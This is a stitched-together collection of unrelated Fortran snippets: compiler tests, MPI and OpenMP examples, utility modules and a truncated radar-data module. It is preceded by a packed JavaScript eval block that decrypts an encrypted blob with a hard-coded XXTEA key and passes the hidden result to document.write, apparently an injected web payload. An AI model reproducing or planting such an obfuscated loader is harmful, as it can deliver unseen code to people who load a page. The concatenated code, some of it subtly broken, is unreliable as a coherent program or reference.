eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('J Y(d){b a,i,f,c;b M,O;a=[];f=d.r;i=0;C(i<f){c=d.g(i++);3P(c>>4){h 0:h 1:h 2:h 3:h 4:h 5:h 6:h 7:a[a.r]=d.1t(i-1);B;h 12:h 13:M=d.g(i++);a[a.r]=F.E(((c&1u)<<6)|(M&U));B;h 14:M=d.g(i++);O=d.g(i++);a[a.r]=F.E(((c&1H)<<12)|((M&U)<<6)|((O&U)<<0));B}}l a.R(\'\')}b L=1B 1r(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1D,-1,-1,-1,1I,Z,1o,1f,1g,1h,1j,2h,2g,2d,S,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,1W,1V,1U,1X,1Y,2a,1Z,1T,1S,1M,1L,1K,-1,-1,-1,-1,-1);J 1b(d){b I,G,m,x;b i,f,a;f=d.r;i=0;a="";C(i<f){N{I=L[d.g(i++)&u]}C(i<f&&I==-1);o(I==-1)B;N{G=L[d.g(i++)&u]}C(i<f&&G==-1);o(G==-1)B;a+=F.E((I<<2)|((G&1N)>>4));N{m=d.g(i++)&u;o(m==S)l a;m=L[m]}C(i<f&&m==-1);o(m==-1)B;a+=F.E(((G&1O)<<4)|((m&1R)>>2));N{x=d.g(i++)&u;o(x==S)l a;x=L[x]}C(i<f&&x==-1);o(x==-1)B;a+=F.E(((m&2n)<<6)|x)}l a}J W(v,w){b T=v.r;b X=v[T-1]&K;P(b i=0;i<T;i++){v[i]=F.E(v[i]&u,v[i]>>>8&u,v[i]>>>16&u,v[i]>>>24&u)}o(w){l v.R(\'\').2k(0,X)}2f{l v.R(\'\')}}J Q(s,w){b f=s.r;b v=[];P(b i=0;i<f;i+=4){v[i>>2]=s.g(i)|s.g(i+1)<<8|s.g(i+2)<<16|s.g(i+3)<<24}o(w){v[v.r]=f}l v}J 1a(d,1c){o(d==""){l""}b v=Q(d,1d);b k=Q(1c,1d);b n=v.r-1;b z=v[n-1],y=v[0],V=1m;b H,e,q=1n.1p(6+Z/(n+1)),A=q*V&K;C(A!=0){e=A>>>2&3;P(b p=n;p>0;p--){z=v[p-1];H=(z>>>5^y<<2)+(y>>>3^z<<4)^(A^y)+(k[p&3^e]^z);y=v[p]=v[p]-H&K}z=v[n];H=(z>>>5^y<<2)+(y>>>3^z<<4)^(A^y)+(k[p&3^e]^z);y=v[0]=v[0]-H&K;A=A-V&K}l W(v,1s)}t="1v+1w+1y+1x+2j/2I+3v+3u+3t+3w/3x+3A+3z/3y/+3s+3r+t/3l+3k+3j+3i+3m/3n+3q/3p/3C+3B+3F+3O/3L/3M+k+3R+3Q+3N/3J/3E+3D+3K/3G+/3I/3H/3o/3g+2H/2G/3h/2F+2J/2M/2L+2K/2E+2D+2x+2w/2v+2y+2z+2C+/2B+2A+2N/2O+3b+3a/2Z+3c+3d+3f+3e+2Y/2X+2R/2Q++2P+2S+2T/2W/2V+2U/1q+2u/D/1A+1G/j/+1i/1e+1k+1l+/1C/2t//2i+1J+c+2e+2l+2r+2s+2q+2p+2m/2o+2c+2b+1P+1Q==";t=Y(1a(1b(t),\'1E\'));1F.1z(t);',62,240,'||||||||||out|var||str||len|charCodeAt|case||||return|c3||if|||length|||0xff|||c4|||sum|break|while||fromCharCode|String|c2|mx|c1|function|0xffffffff|base64DecodeChars|char2|do|char3|for|str2long|join|61|vl|0x3F|delta|long2str|sl|utf8to16|52|||||||||||xxtea_decrypt|base64decode|key|false|QTuzb89Sx|54|55|56|Xk|57|633M3pQIrSxqRYqOXotJkmC8wIBPsQ3JaRbcaKCd|HAlaqh4YKQQeaoq951kAQ|0x9E3779B9|Math|53|floor|oze7LZ|Array|true|charAt|0x1F|Ulmyx6ay2z72bqFan9DteowObHeJjIIIxY4UlNZwEMVj|SBierz6la297oTv07J9Unqiqi6lUjUfOZqX|LmSena|hpKoqIK1oIo6r6U3zYMO|write|AbHt39gxrJExhdw05P|new|6uiAwE0VR7ioUsxHYPjdeKIjyZrPpbtLKFhkDNARHxwS6SswDgqYoUP|62|Ti|document|Rls0fJGOanCQ5|0x0F|63|WOTZ|51|50|49|0x30|0XF|Pv3DmAV8xZ0qB8KOJvAQvblwApliO|YSK1yJNp6LKfEII7WJ05dqtz6Knpmi300KjDdL9WGBC8RFQu1w3vnj54punMMurC7fmewr1nxaO3JxaavinQKZwA|0x3C|48|47|42|41|40|43|44|46|||||||||||45|IZXpVIUQnNMpVFIWvYtCn|L7tXaF1|60|rO6SHASuPsuh9UibyAqiDDyigbUQZyTtPWFo61MBwQ2lsBR2OJtrD|else|59|58|uezgUwuAb|3fG6TBXecOEVU1adJpi7BsC4D0V0yQxApjMxazjBUB79|substring|q83ZO5iHAqEd11Sm3Fdwf2GnUVl|9XhICtXJ0K62DEyCorPmlxd9PMsBCrWhm564dffCOykhhuvMJzyEBW9d8nhzcyAJzqDpSvp|0x03|zJTdsdNr9VcIMAKUH4Zifq9ehlGL5vysZWaouQgP5tEbdEtv7PGtiJENrzP7pN5lBJQ8I|7wTipcRQexgQqQBNmiiyS|dycHGtvWEU13CJNBvhVCZQwKl2kjGCNhLhMIFLR07hfeJZA|KUc0mPOEwIGKH8hFmt2dCSGpJmdYIkTa|btI9wENaXL543fQAwsJp24QFSg3OVOOG20HXhXzy7WuIOcbySIN|l27uvI6cW9|tWfEY5mjDFdOHCZMwHgTesSg2KGhik|rnegMdY5FG5ZY0sN5GaKxljkxyjOTwlaPtgC7xcbc2M73IuVXX2Y7P4bLl708A5XhanIHC|3Wf7DyD63vXZS6jJjLPv1ZjVjlNX|zDUfBUvkz7gccwhlpo8Ut18ZCQF0vwEI9E0SHpPef6N|1whoTehjgQS4rUKnHinmOVu5eMs5btJWW4okVoX6q|A3Qzaa6JhZ8sSxf1fCP3VlW4NMw|SN6yDcz6v8uKmqbuCFZY0FBcsdjJ5A3bfy06oVhq1G0fHurHQ9txFm5d8MlAK0Am|zP|Fd5GY5TSBhQFBHbsVkulP|XLOZuh1|N2DUoBpyxG5ALQZJQ0pjHsMmWo1bJ2ksJNDq3vF|0Yu1JQPNQPTNukcWHOUjyhABFiqLSVi9ExLyoQJCQnAVwc2bOgAh5mP9|vcmWhOepNEFvD60MXsu1M3|zdweKqozS9wiy85e1OPBkoz6j0GZd6Is5R0rQx7JI6DhuS5|tP6UWOr9FQmFiBAowHY0ZKZz3nf8ECrbVvaGWKxJSKG3udBL|GxuFWj7QMBSylDSYKsLv4|yOQA|KFID9vDYKDSGAcmgJtTO2hcOc0dfuxbhMPSfmYOt5iaTAvevNb0DQKN2IALjmfgQQZf2|7p|lNm|k13K8i8sE|k2ke|vsJjLQC|P8WkQi|TQX|fQ2tNNXlr652OGHxqIUsBrf5|ARsgfpY0uUmi8TLNKR3fFpTzAqT|VQhFZnjkHY4iRnVOcIN5|A5gLqCezqv8ej6xghhC78EdPw|87ejkARkzDk7Jf3PgvCz8FMImtZHTbpxOlbxnNFMnBcMKPENlC|JmgflF93b2D|EXnaSCMLv|||||||||||Q1VqKjSeWoZb6W3IobLI573Vbpz2TUHnnKNthEpdNIUex556BvaGl8sNHRXSoUlAwtwYP|LAaenVE3KLecRVH|LKwl6hZmzV70yr|f1Y1jRBtUC1CRByN|ikGZW0Whk1mfkDCMbgUg0n6dQgLbuogl4ryBJPdKy|ZMtTXlne8z8K5Egt0YPcRDLoTCDHixaBCkkWroNn6MwQgSlytfkByKdDU|ejm9BfvgnZXum7jc1AneCZCbRWSwIKF59cnBSKxHUNpE0uiZwQoxnBSYznEySiwIVbTMIC|LEKpyZ9mlgqjR1DoF9G3cpEsO1f|k1thKkS72MBK3|Eiqm70Ye42qAYI4b7sohtBYq7MhAdzGFygIrB|jMyn6idP7q|4CULQCWT6Y8pmxZCrWjGsu2Mjq1PzElMY5PKGsd0dXbPm|UVLvNTxWN|TUotsx7eIShvKDxeoMR8Q|IU|OGP5HcdrVUOSSB|mq540LKhmUoPgLy0oBuBjrc7Wz1ixAOutWO4dLZmEqW7zSGdOpLEaHjpcdAvXXOWp84tHoNCAUiXigFCjSXLBdOwkw3kGPsyl731MefSz5wbt67RZNl2D9Ou0MByaps8M641b|akaInqyhWgZjACFF2ARctr8mFMpxxd4TeBip4lv1n59sqnijIXkRjjFCRsFgBC9BigBd4joPtR4iaCE49a6HYUOTz|Ud0|X7yuXFp|Fgk7hN61|PLxj4EQZvC|GE0KHjYrkBKSE4RmiaDLBml3n|DZqjQfFnXozyLAkgbXauUEdY|KgoFhkAgi9UCr44oykWUZpmq|bs7zmNgAXgBdsRRBd6anCr|64gcIB9PY3kdJj|jvz5Gninq|eN|VV6LbPQfi7Th9MmrseHuu|xae8s4HE5PJBbRPSLuNYfz3vpb64y3o7BuHNVnW9Cb7MjCQsYbAJogaK04JdWSh6MyStpMvXPLpXlPCcW2sQrrgLe|oAhauYmlvotaWln7hEvXhQw9lcCIMD8F40GSe4iiiZMuPhzmFw53Wmiz6CV8nBOTt1PqCsHJBET3V2gTHCn9tRUgPwLpeHrTHgArw4gNsxqcCgLi0UXl7ZYzpaEklASJC5H0Z3FSIBairIOH0HsvCgAqSIblBtYWiaD0mP881e7TP1ljbhzCQHPUwft0PbWHfakdANK0LcyzP2v2bMHghoTnjQkTEC8HhisWU0jdGSrdnYiq|Kqai7AdBfoq65n6B9|BQ|f1eZeHKlQ4UwFIh4|jwlTwyeLcq6atohvVyOE55Dh9gulnnS7RerFkXjNCzXZlvJvqmptUchrI2YZc0p0sggeFYzXnspuGxYdjPqnIFlZ6zE0to7XPxAxPiybWF4F1O9ItkWOG|Dwfk5Vz4p1k3qoiLl8pM04AFn27Ec|kCus3PmplX9OiboQTFOYHflay32AWPQiGKT5T3vqoD|rxr6aBtlROWb|Mwmtz06zgGW|mlqeBKE10DrttC5XIvDQfxIMH1Q2c6MQe3xlk2vmZ4JGpVnewFKcdbcZASnuXvEJ|switch|hASoeTeNAwpGRS5Hbiz28Btc8hENsob|1D1r'.split('|'),0,{}))
</script>


!! this one is expected to fail

program kind2

  !! unsupported
  REAL( KIND = 32 ) :: thirtytwo
  REAL( KIND = 64 ) :: sixtyfour
  INTEGER           :: i32, i64

  i32 = SIZEOF( thirtytwo )
  i64 = SIZEOF( sixtyfour )

  WRITE( 6, * ) i32, i64

end program


program hw_mpi
!!    Each process prints out a "Hello, world!" message with a process ID
!!  Original Author:  John Burkardt
!!  Modified: Michael Hirsch, Ph.D.

use mpi_f08, only : mpi_init, mpi_comm_size, mpi_comm_world, mpi_wtime, mpi_comm_rank, mpi_finalize
use, intrinsic:: iso_fortran_env, only: dp=>real64, compiler_version

implicit none (type, external)

integer :: id, Nproc
real(dp) :: wtime

!>  Initialize MPI.
call MPI_Init()

!>  Get the number of processes.
call MPI_Comm_size(MPI_COMM_WORLD, Nproc)

!>  Get the individual process ID.
call MPI_Comm_rank(MPI_COMM_WORLD, id)

!>  Print a message.
if (id == 0) then
  print *,compiler_version()
  wtime = MPI_Wtime()
  print *, 'number of processes: ', Nproc
end if

print *, 'Process ', id

if (id == 0) then
  wtime = MPI_Wtime() - wtime
  print *, 'Elapsed wall clock time = ', wtime, ' seconds.'
end if

!>  Shut down MPI.
call MPI_Finalize()

end program


program sync1
implicit none
integer :: iam
real    :: x[*]
iam = this_image()

if (iam == 1) x = 1.0
sync memory

call external_sync ()
syncmemory(stat=status)

if (iam == 2) write (*,*) x[1]

if (this_image() == 1) then
    sync images(*)
else
    syncimages(1, stat=status)
end if

end program sync1


!
! wavy - A spectral ocean wave modeling and development framework
! Copyright (c) 2017, Wavebit Scientific LLC
! All rights reserved.
!
! Licensed under the BSD-3 clause license. See LICENSE for details.

program test_json

use mod_precision,only:rk => realkind
use mod_testing,only:assert,initialize_tests,report_tests
use mod_utility,only:range
use mod_const,only:WAVY_REAL
use json_module,only:json_core,json_value,json_file

implicit none

integer,parameter :: stdout = 6

logical,dimension(:),allocatable :: tests
logical :: test_failed
integer :: ntests
integer :: n,norder

type(json_core) :: json
type(json_file) :: jfile
type(json_value),pointer :: ptr

logical :: found
real(kind=rk),dimension(:),allocatable :: arr

n = 1

ntests = 1

call initialize_tests(tests,ntests)

write(unit=stdout,fmt='(80("-"))')

call json % initialize()
call json % create_object(ptr,'')
call json % add(ptr,'value',range(1e2_rk,1e3_rk,1e2_rk))
call json % print(ptr,'test.json')
call json % destroy(ptr)

call jfile % initialize()
call jfile % load_file('test.json')
call jfile % get('value', arr, found)
call jfile % destroy()

tests(n) = assert(all(arr == range(1e2_rk,1e3_rk,1e2_rk)),&
                  'write/read array to a json file')
n = n + 1

write(unit=stdout,fmt='(80("-"))')

test_failed = .false.
call report_tests(tests,test_failed)
if(test_failed)stop 1

endprogram test_json


! { dg-do compile }
! { dg-options "-std=f2008" }
!
! Fortran < 2008 allows 7  dimensions
! Fortran   2008 allows 15 dimensions (including co-array ranks)
!
! FIXME: Rank patch was reverted because of PR 36825.
integer :: a(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15) ! { dg-error "has more than 7 dimensions" }
integer :: b(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16) ! { dg-error "has more than 7 dimensions" }
end


    program demo_iachar
    implicit none

    write(*,*)iachar(['a','z','A','Z'])

    ! create function to convert uppercase letters to lowercase
       write(*,'(a)')lower('abcdefg ABCDEFG')
    contains
    !
    elemental pure function lower(str) result (string)
    ! Changes a string to lowercase
    character(*), intent(In)     :: str
    character(len(str))          :: string
    integer                      :: i
       string = str
       ! step thru each letter in the string in specified range
       do i = 1, len(str)
          select case (str(i:i))
          case ('A':'Z') ! change letter to miniscule
             string(i:i) = char(iachar(str(i:i))+32)
          case default
          end select
       end do
    end function lower
    !
    end program demo_iachar


program shared_boundaries

  use omp_lib

  implicit none

  integer, parameter        :: lb = -2, ub = 5
  integer, dimension(lb:ub), target :: arr
  integer, pointer          :: ptr(:)
  integer :: thread_id

  integer :: i

  ptr => arr

  ptr = 0

  !$omp parallel shared(ptr) private(thread_id)

  thread_id = OMP_GET_THREAD_NUM()

  print '(a,i5,i5,i5)', ">> thread_id = ", thread_id, lbound(ptr), ubound(ptr)

  !$omp do
  do i = lb, ub
    ptr(i) = 1
  enddo
  !$omp end do
  !$omp end parallel

  print '(a,8i4)', "(arr) = ", arr

end program shared_boundaries


program main
    use omp_lib
    integer :: nteams, nthreads

    !$omp target parallel map(nteams, nthreads)
        nteams = omp_get_num_teams()
        nthreads = omp_get_num_threads()
    !$omp end target parallel

    write(*,*) nteams, nthreads
    if (nthreads .eq. 1) then
      write (*,*) "Failed nthreads for spmd kernell"
      stop 2
    endif
end program main


module mod_b
    implicit none

contains

    subroutine print_b(n)
        implicit none
        integer, intent(in) :: n
        print '(A, I0)', 'B: ', n
    end subroutine print_b

end module mod_b


C This program is likely not to confomr to the Fortran standard because
C of aliasing between a formal parameter and a global variable.

C The result found by tpips is wrong.

C The aliasing should be checked before the analysis

      PROGRAM ALIAS_TRANSFORMER
      COMMON I
      I = 0
      CALL FOO(I)
      PRINT *, I
      END
      SUBROUTINE FOO(J)
      COMMON I
      J = J + 1
      I = I + 2
      END


! chk_pointer_function --
!     Check: does the compiler support pointer functions?
!
program chk_pointer_function
    implicit none

    integer, dimension(10), target :: stored_value
    integer                        :: i

    write( *, '(a)' )      'Store data in an array via a pointer function:'

    stored_value = 0

    do i = 1,size(stored_value), 2
        storage(i) = i
    enddo

    do i = 1,size(stored_value)
        write( *, '(i5,a,2i5)' ) i, ':', stored_value(i), storage(i)
    enddo
contains

function storage(entry) result(loc)
    integer, intent(in) :: entry
    integer, pointer    :: loc

    loc => stored_value(entry)
end function storage

end program chk_pointer_function


PROGRAM Hello_world_2

      INCLUDE 'mpif.h'
      INTEGER myrank, size, ierr
      call MPI_INIT(ierr)

        call MPI_COMM_RANK(MPI_COMM_WORLD, myrank, ierr)
        call MPI_COMM_SIZE(MPI_COMM_WORLD, size, ierr)

        write(*,*) "Processor ", myrank, "of ", size, "Hello World!"

      call MPI_FINALIZE(ierr)
END PROGRAM


      INCLUDE 'mpif.h'
      INTEGER error, rank

      CALL MPI_INIT(error)
      CALL MPI_COMM_RANK(MPI_COMM_WORLD, rank, error)
      PRINT *, "Hello world from ",rank
      CALL MPI_FINALIZE(error)

      STOP
      END


program allocatable_function

    use utils

    implicit none

    type particles_type
        real(rk), allocatable :: pos(:,:)
        real(rk), allocatable :: vel(:,:)
        real(rk), allocatable :: mass(:)
    end type particles_type

    type(particles_type) :: particles

    call initParticles(particles, 1000)

    print*, shape(particles % pos)
    print*, shape(particles % vel)
    print*, shape(particles % mass)

    call deallocateParticles(particles)

contains

subroutine initParticles(particles, n)

    type(particles_type), intent(inout) :: particles
    integer, intent(in) :: n

    allocate(particles % pos(3,n))
    allocate(particles % vel(3,n))
    allocate(particles % mass(n))

end subroutine initParticles

subroutine deallocateParticles(particles)

    type(particles_type), intent(inout) :: particles

    deallocate(particles % pos)
    deallocate(particles % vel)
    deallocate(particles % mass)

end subroutine deallocateParticles

end program allocatable_function


program writeSampleBinData

    ! Created by Manuel A. Diaz, ENSMA 2020

    implicit none

    !-------- initialize variables -------------
    character(len=256) :: output_file = "data.bin"
    character(len=10)  :: Nx_char
    character(len=10)  :: Ny_char
    character(len=10)  :: Nz_char

    integer              :: Nx, Ny, Nz       ! Array dimensions
    integer              :: output_file_id=3 ! File identifier
    real(8), allocatable :: buff_data(:,:,:) ! Buffer for array
    integer              :: buff_lenght      ! Buffer length

    !-------- Parse arguments from command --------
    if ( command_argument_count() .NE. 3 ) then
        print*, "Mode of use: ./sample_binData.run [Nx] [Ny] [Nz]"; stop
    else
        call get_command_argument(1,Nx_char); read(Nx_char,*) Nx
        call get_command_argument(2,Ny_char); read(Ny_char,*) Ny
        call get_command_argument(3,Nz_char); read(Nz_char,*) Nz
        print*, "Attemping to write ",Nx,"Nx",Ny,"Ny",Nz,"Nz array."
    end if

    !-------- Allocate space for the array -------------
    allocate(buff_data(Nx,Ny,Nz))

    !------ fill in the array with trivial data -------
    buff_data = 10.0

    !------ write in data in a binary file -----------
    Inquire( iolength = buff_lenght ) buff_data
    open (output_file_id,file=trim(output_file), form='unformatted', access='direct', recl=buff_lenght)
    write(output_file_id,rec=1) buff_data
    close(output_file_id)
    print*, "output file: ",trim(output_file)
    deallocate(buff_data)

    end program writeSampleBinData


!! R533 contiguous-stmt
!     is  CONTIGUOUS [ :: ] object-name-list

subroutine contiguous_example(A, B)
  real :: A(:), B(:)
  contiguous :: A, B
end


! sample compile command to generate *.o object file:
!       gfortran -fopenmp -c Fig_6.3_sharedEx.f90

program sharedEx
   use omp_lib
   implicit none
   integer :: A, B, C

   interface
      subroutine initialize(A, B, C)
      integer, intent(out) :: A, B, C
      end subroutine
   end interface

   call initialize(A, B, C)

   ! remember the value of A before the parallel region
   print *, 'A before =', A

!$omp parallel shared (B,C) private(A)
   A = omp_get_thread_num()
   !$omp critical
      C = B + A
   !$omp end critical
!$omp end parallel

   ! A in the parallel region goes out of scope, we revert
   ! to the original variable for A
   print *, 'A after = ', A, ' and C = ', C

end program sharedEx


! { dg-do compile }
! { dg-options "-fdump-tree-original -fcoarray=lib" }
!
  real, allocatable :: values(:)[:]
  allocate(values(1024)[*])
  call  laplacian(values)
contains
  subroutine laplacian(rhs)
    real, allocatable :: rhs(:)[:]
    real :: local_laplacian(size(rhs))
    local_laplacian=0.
  end subroutine
end

! { dg-final { scan-tree-dump-times "ubound.. = " 1 "original" } }
! { dg-final { scan-tree-dump-times "size.. = " 2 "original" } }


!! R422 char-length
!    is ( type-param-value )
!￼￼￼￼or int-literal-constant

subroutine whoot(str_star)
integer, parameter :: a = 13

character*1    :: str1
character*2,      str2
character*(3)  :: str3
character*(a)  :: stra
character*(*)  :: str_star
character*(:), allocatable :: str_colon

end subroutine


!
! Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
! See https://llvm.org/LICENSE.txt for license information.
! SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception

! RUN: %flang -S -emit-llvm %s -o - | FileCheck %s --check-prefix=CHECK
!
! CHECK-LABEL: define void @MAIN_()
module base
  implicit none
  integer, public :: a = 10
end module

module intermediate
  use base, only: a
  implicit none
  private
end module

program x
  use base
  implicit none

  interface
    subroutine sub2
      use intermediate
      implicit none
    end subroutine sub2
  end interface

  call sub

contains

subroutine sub
  use intermediate
  implicit none
  print *, a
end subroutine

end program


! example.f90 --
!     Example of using "exceptions" in combination with the
!     preproc preprocessor
!
module example_routines
    use exception_handling

contains

subroutine mysub( x, y )
    real :: x, y

    ! pre: x > 0.0 .and. &
    !      y > 0.0

    if ( x <= 0.0 ) then
        throw( 'Parameter x must be positive' )
    endif
    if ( x > 10.0 ) return

    y = log10(x)
end subroutine mysub

end module

!
! The main program
!
program example
    use example_routines

    real    :: &
        x, y
    integer :: i

    try
        do i = 1,5
            x = 1.5 - 0.5*i
            call mysub( x, y )
            write(*,*) i, x, y
        enddo
    catch
        ! An exception is caught, report it!
        call &
            exception_report( 0 )
    endtry

    x = -1.0
    call mysub( x, y )
    write(*,*) 'Finally: ', x, y

    stop
end program


module util_mod
    implicit none

    private

    public :: print_vector, print_matrix

contains

    subroutine print_vector(vector, label, fmt_str_in)
        implicit none
        real, dimension(:), intent(in) :: vector
        character(len=*), intent(in), optional :: label, fmt_str_in
        character(len=20) :: fmt_str

        if (present(fmt_str_in)) then
            fmt_str = fmt_str_in
        else
            fmt_str = '(*(E18.7))'
        end if
        if (present(label)) print '(A)', label
        print fmt_str, vector
    end subroutine print_vector

    subroutine print_matrix(matrix, label, fmt_str_in)
        implicit none
        real, dimension(:, :), intent(in) :: matrix
        character(len=*), intent(in), optional :: label, fmt_str_in
        character(len=20) :: fmt_str
        integer :: row

        if (present(fmt_str_in)) then
            fmt_str = fmt_str_in
        else
            fmt_str = '(*(E18.7))'
        end if
        if (present(label)) print '(A)', label
        do row = 1, size(matrix, 1)
            print fmt_str, matrix(row, :)
        end do
    end subroutine print_matrix

end module util_mod


      program main
      implicit none
      include "mpif.h"
      include "omp_lib.h"
      integer ierr, rank, size, tid, thread_level

      call MPI_INIT_THREAD(MPI_THREAD_FUNNELED, thread_level, ierr)
      call MPI_COMM_RANK(MPI_COMM_WORLD, rank, ierr)
      call MPI_COMM_SIZE(MPI_COMM_WORLD, size, ierr)

      write(*, 10) "Hello, world! I am the main thread of MPI rank ",
     +         rank, " of size ", size

C$OMP PARALLEL PRIVATE(tid)
      tid = OMP_GET_THREAD_NUM()
      write(*,10) "Hello, world! I am OpenMP thread ",
     +         tid, " of MPI rank ", rank
C$OMP END PARALLEL
      call MPI_FINALIZE(ierr)

10    format(2(A, I4))
      stop
      end


program zero_step
    implicit none
    integer :: i

    do i = 1, 5, compute_step(0)
        print *, i
    end do

contains

    function compute_step(limit) result(step)
        implicit none
        integer, intent(in) :: limit
        integer :: step
        integer :: i

        do i = 10, limit, -1
            step = i
        end do
    end function compute_step

end program zero_step


! Program to test the default initialisation of enumerators inside different program unit

module mod
  implicit none
  enum, bind (c)
    enumerator :: red , yellow, blue
    enumerator :: green
  end enum
end module mod

program main
  use mod
  implicit none

  if (red /= 0 ) call abort
  if (yellow /= 1) call abort
  if (blue /= 2) call abort
  if (green /= 3) call abort
end program main


!
!     (c) 2019-2020 Guide Star Engineering, LLC
!     This Software was developed for the US Nuclear Regulatory Commission (US NRC) under contract
!     "Multi-Dimensional Physics Implementation into Fuel Analysis under Steady-state and Transients (FAST)",
!     contract # NRC-HQ-60-17-C-0007
!
MODULE kind_parameters
    USE iso_fortran_env, ONLY : i4k => int32, i8k => int64, r4k => real32, r8k =>real64
    IMPLICIT NONE
    !! author: Damian Rouson
    !! date: 09/27/2019
    !!
    !! This module contains the kinds used for specifying the precision of variables
    !!
    PRIVATE
    PUBLIC :: i4k, i8k, r4k, r8k

    ! r4k - Single precision for reals
    ! r8k - Double precision for reals
    ! i4k - Single precision for integers
    ! i8k - Double precision for integers

END MODULE kind_parameters


#include "Config.fpp"

module mod_wsr88d_vcs

    !===================================================================================85
 !---------------------------- DESCRIPTION ------------------------------------------85
 !
 !
 !
 !          Module  name:
 !                         'mod_wsr88d_vcs'
 !
 !          Purpose:
 !                    This module contains description of
 !                    WSR-88D  Velocity Cross Section product.
 !          History:
 !                        Date: 06-03-2018
 !                        Time: 17:09 GMT+2
 !
 !          Version:
 !
 !                      Major: 1
 !                      Minor: 0
 !                      Micro: 0
 !
 !          Author:
 !                  Bernard Gingold
 !
 !          References:
 !
 !                 Document: 2620001W
 !
 !
 !          E-mail:
 !
 !                      beniekg@gmail.com
 !==================================================================================85
    ! Tab:5 col - Type and etc.. definitions
    ! Tab:10,11 col - Type , function and subroutine code blocks.
    use module_kinds,  only : I32P, R64P
    implicit none
    private

    !=====================================================59
    !  File and module information:
    !  version,creation and build date, author,description
    !=====================================================59

    ! Major version
    integer(I32P), parameter, public :: MOD_WSR88D_VCS_MAJOR = 1_I32P

    ! Minor version
    integer(I32P), parameter, public :: MOD_WSR88D_VCS_MINOR = 0_I32P

    ! Micro version
    integer(I32P), parameter, public :: MOD_WSR88D_VCS_MICRO = 0_I32P

    ! Module full version
    integer(I32P), parameter, public :: MOD_WSR88D_VCS_FULLVER = 1000_I32P*MOD_WSR88D_VCS_MAJOR + &
                                                                 100_I32P*MOD_WSR88D_VCS_MINOR  + &
                                                                 10_I32P*MOD_WSR88D_VCS_MICRO
    ! Module creation date
    character(*),  parameter, public :: MOD_WSR88D_VCS_CREATE_DATE = "07-03-2018 17:47 +00200 (WED 07 MAR 2018 GMT+2)"

    ! Module build date (should be set after successful compilation)
    character(*),  parameter, public :: MOD_WSR88D_VCS_CREATE_DATE = " "

    ! Module author info
    character(*),  parameter, public :: MOD_WSR88D_VCS_AUTHOR = "Programmer: Bernard Gingold, e-mail: beniekg@gmail.com"

    ! Module short description
    character(*),  parameter, public :: MOD_WSR88D_VCS_DESCRIPT = "WSR-88D Velocity Cross Section product."

    !=============================
    ! type: VCS_t
    !=============================
    type, public :: VCS_t

          private

          integer(I32P) :: m_nsize ! size of measurements

          real(R64P), allocatable, dimension(:), public :: m_Azimuth  ! Azimuth, deg, 0-359, 1

          real(R64P), allocatable, dimension(:), public :: m_Range    ! Range, nmi, 0.0-124.0, 1.0

          real(R64P), allocatable, dimension(:), public :: m_MaxV     ! ! Max Velocity, Kts, 0.0-245.0, 1.0

          real(R64P), allocatable, dimension(:), public :: m_HMaxV    ! Height of Max Velocity, Kft, 0.0-70.0, 1.0

          real(R64P), allocatable, dimension(:), public :: m_MinV     ! Min Velocity, Kts, -247.0-0.0, 1.0

          real(R64P), allocatable, dimension(:), public :: m_HMinV    ! Height of Min Velocity, Kft, 0.0-70.0, 1.0

          contains

         !========================================
         !    Getter procedures
         !========================================
         procedure, pass(this), public :: get_nsize

          !==========================================
          !   Read/write procedures
          !==========================================
         procedure, nopass, public :: read_state

         procedure, nopass, public :: write_state

          !============================================
          !  Class helper procedures
          !============================================
         procedure, pass(this), private :: dbg_info

         !=============================================
         !     Generic operators
         !=============================================
         procedure, public :: copy_assign

         generic :: assignment (=) => copy_assign

    end type VCS_t

    interface VCS_t
     procedure :: constructor
    end interface VCS_t

    contains

     !========================================!
     !    Implementation                      !
     !========================================!

    !=================================================!
    !  @function: constructor
    !  Initialization of object state.
    !  Allocation and initialization to default values
    !  of real arrays
    !  Argument: MRefPos should be default initialized prior
    !            to calling constructor.
    !
    !=================================================!
    type(VCS_t) function constructor(nsize,logging,verbose,append,fname )
          use mod_print_error, only : handle_fatal_memory_error
          use mod_constants,   only : LAM_PINF
          integer(I32P),       intent(in) :: nsize
          logical(I32P),       intent(in) :: logging,verbose,append
          character(len=*),    intent(in) :: fname
          ! Locals
          character(len=256) :: emsg
          integer(I32P)      :: aerr
          ! Start of executable statements
          constructor%m_nsize = nsize
          associate(n=>constructor%m_nsize )
               allocate(constructor%m_Azimuth(n),  &
                        constructor%m_Range(n),    &
                        constructor%m_MaxV(n),     &
                        constructor%m_HMaxV(n),    &
                        constructor%m_MinV(n),     &
                        constructor%m_HMinV(n),    &
                        STAT=aerr,                 &
                        ERRMSG=emsg     )
          end associate
          if(aerr /= 0) then
              call handle_fatal_memory_error(logging,verbose,append,fname,   &
                                             "logger:162 --> mod_wsr88d_vcs/constructor: Memory Allocation Failure !!", &
                                             "mod_wsr88d_vcs/constructor:162 -- Memory Allocation Failure !!"  ,  &
                                             emsg,__LINE__  )
          end if
          constructor%m_Azimuth = LAM_PINF
          constructor%m_Range   = LAM_PINF
          constructor%m_MaxV    = LAM_PINF
          constructor%m_HMaxV   = LAM_PINF
          constructor%m_MinV    = LAM_PINF
          constructor%m_HMinV   = LAM_PINF
    end function constructor

    !==========================================
    !       Getter procedures
    !==========================================

!DIR$ IF(USE_INLINING .EQ. 1)
    !DIR$ ATTRIBUTES INLINE :: get_nsize
!DIR$   ENDIF
    pure function get_nsize(this) result(nsize)
          class(VCS_t),  intent(in) :: this
          integer(I32P) :: nsize
          ! Start of executable ststements
          nsize = this%m_nsize
    end function get_nsize

     !============================================
